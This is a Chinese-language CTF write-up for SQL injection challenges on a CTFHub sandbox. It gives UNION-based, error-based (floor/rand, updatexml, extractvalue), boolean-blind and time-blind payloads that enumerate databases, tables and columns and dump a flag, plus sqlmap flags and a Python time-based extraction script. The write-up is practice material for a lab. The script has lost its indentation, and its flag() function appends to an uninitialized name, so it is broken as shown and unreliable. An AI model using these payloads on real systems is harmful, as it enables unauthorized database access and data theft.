1.数字型
1 and 1=1 正常输出
1 and 1=2 不输出
存在数字型注入,接下来猜字段
1 order by 1输出正常
1 order by 2正常
1 order by 3 不输出,所以有两个字段
1 and 1=2 union select 1,database(),看数据库名字
1,group_concat(table_name)from information_schema.tables where table_schema=database(),看表名
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=‘flag’,看列名
id=1 and 1=2 union select 1,group_concat(flag)from sqli.flag
2. 字符型
与数字型相差不多,只要是要用(#,–,--+)来屏蔽后面的’号
sqlmap跑一下:
数据库名字出来了
接下来爆表(-D sqli --tables)
再爆列名(-D sqli -T flag --columns)
最后dump出flag(-D sqli -T flag -C flag --dump)
3.报错注入
方法1:
1 Union select count(1),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
concat(str1,str2,…) :
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL.
floor():
向下取整的函数,例如floor(1.3232)=1
round():
四舍五入
rand():
伪随机数发生器(因此这个函数是有周期的,这也就是它为什么叫伪随机的原因,而周期的大小是由种子决定的,并且种子确定了那么这个序列就确定了,参数就是种子)
报错原因:
我们先看看代码:
1 Union select count(1),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
x就是concat(database(),0x26,floor(rand(0)*2))
当我们执行报错语句进行查询时,首先要进行分组,然后进行计数。其实在分组这个过程会建立一个虚拟表,这个表会包含两个字段 key(floor(rand(0)*2))和count(**),在这张虚拟表中,group by后面的字段作为主键
按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
读取第一条数据时:第一次由图可知0为key值,这时候的虚拟表是空的,所以将0插入key中,然后在插入的时候又会运行一次,根据图中的规律所以插入的应该是1的key值。(正常)
读取第二条数据时:第一次由图可知1为key值,所以不计算第二次,直接在key为1的上面加1.
读取第三条数据时:第一次由图可知0为key值,与前面去对比发现不存在,这时候再计算第二次,key就为1了,那么就报错了。
rand(0)实质上是下图这个规律,然后0<rand(0)*2<2,而加上了floor后就是0<=floor(rand(0)*2)<=1,而floor是一个取整函数在0-1之间只有1和0,因此floor(rand(0)*2)的序列中就只含有0和1,随机性就很差,就容易出错误。(本质是造成主键冲突)
由此可以得出乘的数越大那么floor取整的范围就越大而随机性就越好,那么就越不容易出错,因此选用2作为乘数,用1的话全部都是0不会出现错误。
爆表名:
查询第一行的:
1 Union select count(1),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
查询第二行的:
1 Union select count(1),concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x
接下来爆列名:
1 Union select count(1),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
然后得到flag:
1 Union select count(1),concat((select flag from sqli.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
方法二:
使用updatexml函数:
UPDATEXML (XML_document, XPath_string, new_value);
利用Xpath语法错误报错来显示我们要显示的东西。
1 and updatexml(1,concat(0x27,database()),1)
爆表名:
1 and updatexml(1,concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)
爆列名:
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e),3)
flag:
发现不全然后用:
1 and updatexml(1,concat(0x7e,mid((select flag from sqli.flag),32),0x7e),1)
方法三:
1 and extractvalue(1,concat(0x7e,database(),0x7e))
与方法二相差不多
4.布尔盲注
看到一个带哥的方法:
https://blog.youkuaiyun.com/weixin_44732566/article/details/104455318
if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))
用if(1,2,3),这个函数首先会看1对不对,如果对,就返回2,否则返回3。
5.时间盲注:
sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;
if((条件),m,n)语句:若条件为真 返回m,若条件为假 返回n;
length(database())语句:返回当前数据库名长度;
if((substr(database(),1,1)="chr",sleep(1),1))#核心代码
参考了上面那个大哥写的脚本。。。
import requests
import time
s= requests.Session()
url = "http://challenge-46b001e80a26817d.sandbox.ctfhub.com:10080/"
numbers = [i for i in range(48,58)]
char = [i for i in range(97,126)]
total = numbers + char
def database():
database = ""
for i in range(0,9):
for j in 'abcdefghijklmnopqrstuvwxyz':
payload = "1 and if(substr(database(),%d,1)='%s',sleep(1),1)"%(i,j)
start_time = time.time()
str_get = s.get(url=url+"?id="+payload)
end_time = time.time()
t = end_time-start_time
if t>1:
database += j
print(database)
def table_name():
table_names = []
for i in range(0,4):
table_name=""
for j in range(1,9):
for k in 'abcdefghijklmnopqrstuvwxyz':
payload = "1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1) = '%s',sleep(1),1)"%(i,j,k)
start_time = time.time()
str_get = s.get(url=url + '?id=' + payload).text
end_time = time.time()
t = end_time - start_time
if t > 1:
table_name += k
#print(table_name)
table_names.append(table_name)
table_names = [i for i in table_names if i !=""]
print(table_names)
def column_name():
column_names = []
for i in range(0,4):
column_name=""
for j in range(1,9):
for k in 'abcdefghijklmnopqrstuvwxyz':
payload = "1 and if(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1) = '%s',sleep(1),1)"%(i,j,k)
start_time = time.time()
str_get = s.get(url=url + '?id=' + payload).text
end_time = time.time()
t = end_time - start_time
if t > 1:
column_name += k
#print(column_name)
column_names.append(column_name)
column_names = [i for i in column_names if i != ""]
print(column_names)
def flag():
for i in range(1, 50):
print(i)
for j in total:
payload = "1 and if(substr((select flag from flag),%d,1) = '%s',sleep(1),1)"%(i, chr(j))
start_time = time.time()
str_get = s.get(url=url + '?id=' + payload).text
end_time = time.time()
t = end_time - start_time
if t > 1:
flag += chr(j)
print(flag)
database()
table_name()
column_name()
flag()
还是sqlmap好用啊